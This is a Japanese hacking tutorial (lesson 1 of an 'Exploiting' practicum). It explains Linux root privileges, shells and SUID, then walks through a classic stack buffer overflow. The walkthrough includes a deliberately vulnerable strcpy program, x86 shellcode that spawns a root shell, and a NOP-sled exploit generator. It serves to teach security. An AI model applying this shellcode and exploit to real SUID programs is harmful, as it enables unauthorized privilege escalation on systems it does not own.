Exploiting実習 第1回


目次


ハッキングの目的


Linuxにおける権限

一般的にLinuxには2つの権限がある

  1. 一般ユーザ権限...制限のあるコンピュータ利用者
  2. root権限...ありとあらゆる権限を持った、コンピュータ内の神様

ハッキングの目的は神様の権限であるroot権限をいただくこと

例:ユーザの削除

 一般ユーザは権限がないので他のユーザを勝手に消すことはできない

bash-2.05$ deluser tester
deluser: tester: User could not be removed from /etc/passwd

 一方、root権限であればユーザを消すのも自由。まさに神様。


シェルの役割

シェルはユーザとコンピュータの橋渡しをしてくれるソフトウェア

シェル(インタフェース)は人基準の命令を機械基準の命令に変換してユーザからの命令をカーネル(コンピュータの中核)に伝える

シェルとはユーザがパソコンを操作するハンドルのようなもの
Windowsの場合はマウスを使ったりとグラフィックなシェルを用いているが、Linuxでは文字だけで操作するシェルが主流

Windowsにおけるグラフィカルシェル
図1:Windowsにおけるグラフィカルシェル

Linuxにおけるコマンドラインシェル
図2:Linuxにおけるコマンドラインシェル

シェルを起動できれば命令をコンピュータに伝えることができる

例題 1.1

シェルを起動してみよう
シェルはプログラムとして実装されているので、シェルの中からシェルを起動することができる
シェルは/bin/に何種類か格納されている。それぞれのシェルには一長一短があるが、最も単純なshを起動する。

defolos@glazheim:~$ /bin/sh
sh-2.05b$

シェルの持つ権限は、シェルを起動したアカウントの権限に依存する。上記だと一般ユーザがシェルを起動したので、起動したシェルも一般権限しか持ってない

root@glazheim:~# /bin/sh
sh-2.05b#

rootがシェルを起動すると、起動したシェルもroot権限で起動する。


シェルを起動するプログラム

シェルもプログラムなので、プログラム内から呼び出すことができる

例題 1.2

Cではプログラムを呼び出す関数はexecl

#include <unistd.h>
int execl(const char *path, const char *arg, ...); 

SUID

プログラムの起動時に一時的にroot権限を得られる設定

パスワードファイルは一般ユーザに書き換えられたら困る
しかし、変更するつどrootに変更を頼むのは大変

passwdというプログラムは起動されると一時的にroot権限を与えられるのでパスワードファイルを書き換えられる

これを実現するのがSUIDという仕組み
実行ファイルごとに設定することができる

例題 1.3

SUIDを確認してみよう

lsコマンドの詳細表示オプションで確認できる

SUIDは危ないことが認識されているので最近はほとんど使われなくなった


なぜSUIDが危険か

プログラム本来の流れを変更され、アタッカーが用意したプログラムへ制御を移させる。アタッカーが用意したプログラムではシェルを呼び出すため、全権限をアタッカーが得られる。

ハッキングではこのようなプログラムの流れを、さまざまな手法で変更し、シェルを起動することで権限を奪う


SUIDと起動させたシェル権限の確認

例題 1.4

例題1.2で作成したプログラムにSUIDビットを設定、所有者をrootにする。その状態で一般ユーザ権限からシェルを起動させてみよう

[参考]

SUIDを設定するには次のようにする

glazheim:/home/defolos# chown root shtest.exe
glazheim:/home/defolos# chmod +s shtest.exe

exploitの構造

2つの部分に分けられる

  1. 挿入ベクター
  2. ペイロード

軍隊用語からの転用

ベクターはコンピュータのセキュリティを打ち破り、ペイロードを実行する。ペイロードには侵入するシステム内で行いたい処理を格納する。これを行うことをexploitingと言う。
セキュリティに守られたプログラムの内部にペイロードを運び込むために挿入ベクターを利用する


ペイロードとアセンブリ

ペイロードの作成はアセンブリで行うのが一般的


挿入ベクターについて

挿入ベクターはC言語でも記述可能


実例と体験

流れを変えるべきプログラム

#include <stdio.h>
#include <string.h>

unsigned long sp (void){
        __asm__("movl %esp, %eax");
}

int main (int argc, char *argv[]){
        char buffer[500];
        long esp;

        esp = sp();

        strcpy (buffer, argv[1]);
        return 0;
}

ペイロード

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"

挿入ベクター生成プログラム

#include <stdlib.h>

char shellcode[]=
"ペイロード";

unsigned long sp (void){
        __asm__("movl %esp, %eax");
}

int main (int argc, char *argv[]){
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;

        offset = 0;
        esp = sp();
        ret = esp - offset;

        buffer = malloc(600);

        ptr = buffer;
        addr_ptr = (long *)ptr;
        for (i=0; i<600; i += 4)
                *(addr_ptr++) = ret;

        for (i=0; i<200; i++)
                buffer[i] = '\x90';

        ptr = buffer + 200;
        for (i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buffer[600 - 1] = 0;

        execl("./bo-test.exe", "bo-test.exe", buffer, 0);

        free(buffer);
        return 0;
}

次回の予定


Copyleft (C) 2007. Defolos. All rights opened.